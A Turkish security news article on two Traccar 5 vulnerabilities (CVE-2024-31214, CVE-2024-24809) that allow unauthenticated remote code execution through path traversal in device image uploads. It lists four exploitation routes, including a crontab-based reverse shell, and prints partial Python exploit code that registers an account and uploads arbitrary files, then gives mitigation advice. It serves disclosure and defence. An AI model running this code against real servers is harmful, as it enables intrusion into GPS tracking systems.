Traccar GPS Sistemi Güvenlik Açığı – Saldırganlar Uzaktan Kod Çalıştırıyor


Traccar GPS Sistemi Güvenlik Açığı Saldırganların Uzaktan Kod Çalıştırmasına İzin Veriyor

Traccar GPS’de iki kritik güvenlik açığı keşfedildi. Bu güvenlik açıkları, CVE-2024-31214 ve CVE-2024-24809, kimliği doğrulanmamış saldırganların Traccar 5 çalıştıran sistemlerde uzaktan kod yürütmesine izin veriyor.

Bu makalede, bu güvenlik açıklarının doğası, potansiyel etkileri ve kullanıcıların kendilerini korumak için atabilecekleri adımlar ele alınmaktadır.

DÖRT

Traccar GPS Sistemi
Traccar GPS Sistemi

Traccar’ı ve Güvenlik Açıklarını Anlamak

Traccar, kişisel ve filo yönetimi amaçlarıyla ünlü, yaygın olarak kullanılan açık kaynaklı bir GPS izleme sistemidir. Java tabanlı olan ve web sunucusu olarak Jetty’yi kullanan sistem, kullanıcıların cihazları izleme için kaydetmelerini sağlar. Bu cihazlar konumlarını çeşitli protokoller kullanarak Traccar sunucusuna iletir.

Horizon3 raporuna göre, güvenlik açıkları Traccar 5.1’de tanıtılan cihaz görüntü dosyası yükleme özelliğinden kaynaklanıyor. Sorunlar, uzaktan kod çalıştırmak için manipüle edilebilen cihaz görüntü yüklemelerinin işlenmesinde yatıyor.

Cihaz görüntü dosyası yüklemelerini işleyen kodda birden fazla güvenlik açığı var.
Cihaz görüntü dosyası yüklemelerini işleyen kodda birden fazla güvenlik açığı var.

Güvenlik Açığı Ayrıntıları

Bu güvenlik açıkları, saldırganların iki temel değişkeni manipüle ederek cihaz görüntüsü yükleme API’sini istismar etmelerine olanak sağlıyor:

  1. Aygıt Benzersiz Kimliği: Bu, ../ gibi yol geçiş dizileri kullanılarak istismar edilebilir ve saldırganların dosya sistemindeki herhangi bir yere dosya yerleştirmesine olanak tanır.
  2. İçerik Türü Başlığı: Bu başlığı değiştirerek saldırganlar, device.html adlı bir dosya oluşturmak gibi keyfi dosya uzantıları ayarlayabilir. Bu manipülasyonlar yetkisiz dosya yerleşimine yol açarak uzaktan kod yürütülmesini kolaylaştırabilir.

Are You From SOC/DFIR Teams? - Try Advanced Malware and Phishing Analysis With ANY.RUN -14-day free trial

Sömürü Yöntemleri

Yöntem 1: Crontab Dosyasını Yükleme

Red Hat tabanlı Linux sistemlerinde saldırganlar uzaktan kod yürütmeyi başarmak için bir crontab dosyası yükleyebilirler.

Bu yöntem, saldırganın ana bilgisayarında ters bir kabukla sonuçlanan bir crontab dosyasını yüklemek için Content-Type başlığındaki yol geçişini istismar etmeyi içerir. Ancak, dosya adı kısıtlamaları nedeniyle, bu yöntem Debian/Ubuntu sistemlerinde etkili değildir.

from argparse import ArgumentParser

import requests

import sys

import secrets

def register(url) -> tuple:

    registration_url = f'{url}/api/users'

    username = secrets.token_hex(16)

    email = f'{username}@example.org'

    password = secrets.token_hex(32)

    user_dict = { 'name': username, 'email': email, 'password': password, 'totpKey': None}

    r = requests.post(registration_url, json=user_dict, verify=False, timeout=10)

    id = r.json()['id']

    print(f'Created user id {id} with email {email} and password {password}')

    return (email, password)

def login(url, email, password) -> requests.Session:

    session = requests.Session()

    login_url = f'{url}/api/session'

    r = session.post(login_url, data = {'email': email, 'password': password}, verify=False, timeout=10)

    r.json()['id'] # got expected login response

    print(f'Logged in')

    return session

def create_device(url, session):

    device_url = f'{url}/api/devices'

    device_name = secrets.token_hex(12)

    unique_id = device_name

    r = session.post(device_url, json={'name': device_name, 'uniqueId': unique_id}, verify=False, timeout=10)

    device_id = r.json()['id']

    print(f'Created device {device_id} with unique id {unique_id}')

    return (device_id, device_name, unique_id)

def upload(url, session, device_id, content_type, data_bytes):

    upload_url = f'{url}/api/devices/{device_id}/image'

    headers = {

        'Content-Type': content_type

    }

    r = session.post(upload_url, headers=headers, data=data_bytes, verify=False, timeout=10)

    if r.status_code == 200:

        return r.text

    else:

        print(f'Upload failed, maybe Windows?: {r.status_code}: {r.text}')

        sys.exit(1)

Yöntem 2: Bir Çekirdek Modülü Yükleme

Bu yöntem, ana bilgisayara giriş yapmak veya yeniden başlatmak gibi bazı kullanıcı etkileşimleri gerektirir. Saldırganlar, diske belirli dosyaları bırakarak, başlangıçta bir çekirdek modülünü çalıştırabilir ve uzaktan kod yürütmeyi başarabilir.

Yöntem 3: Bir udevd Kuralı Oluşturma

Saldırganlar /etc/udevd/rules.d klasörüne bir dosya bırakabilir. Sistem yeniden başlatıldığında, udevd hizmeti dosyadaki komutları yürütür ve bu da uzaktan kod yürütülmesine yol açar.

Yöntem 4: Windows Kısayol Dosyasını Yükleme

Windows sistemlerinde saldırganlar, StartUp klasörüne kötü amaçlı bir kısayol dosyası yerleştirerek, bir kullanıcı savunmasız Traccar ana bilgisayarında oturum açtığında komutları yürütebilir.

Kullanıcılar, Traccar sürümlerinin savunmasız olup olmadığını /api/server uç noktasına bir ağ isteği göndererek belirleyebilirler. Kayıt ayarı doğruysa, sistem saldırıya açıktır.

Bunu düzeltmek için kullanıcılar Traccar 6’ya yükseltmeli veya kayıt ayarını devre dışı bırakmalıdır. Dikkatli olun, tehlikeye atılan sistemler oturum açma veya yeniden başlatma sırasında gizli istismar yüklerini tetikleyebilir.

Traccar 5’teki bu güvenlik açıklarının keşfi, düzenli yazılım güncellemelerinin ve güvenlik denetimlerinin önemini vurgulamaktadır. Kullanıcılar Traccar 6’ya yükselterek kendilerini olası istismarlardan koruyabilir ve GPS izleme sistemlerinin güvenliğini sağlayabilirler.

Traccar 6’da uygulanan değişiklikler, varsayılan olarak kendi kendini kaydetmeyi devre dışı bırakma gibi, kimliği doğrulanmamış saldırganlar için saldırı yüzeyini önemli ölçüde azaltıyor ve bu yaygın olarak kullanılan platformun güvenliğini sağlamada önemli bir adım teşkil ediyor.

Protect Your Business with Cynet Managed All-in-One Cybersecurity Platform – Try Free Trial



Source link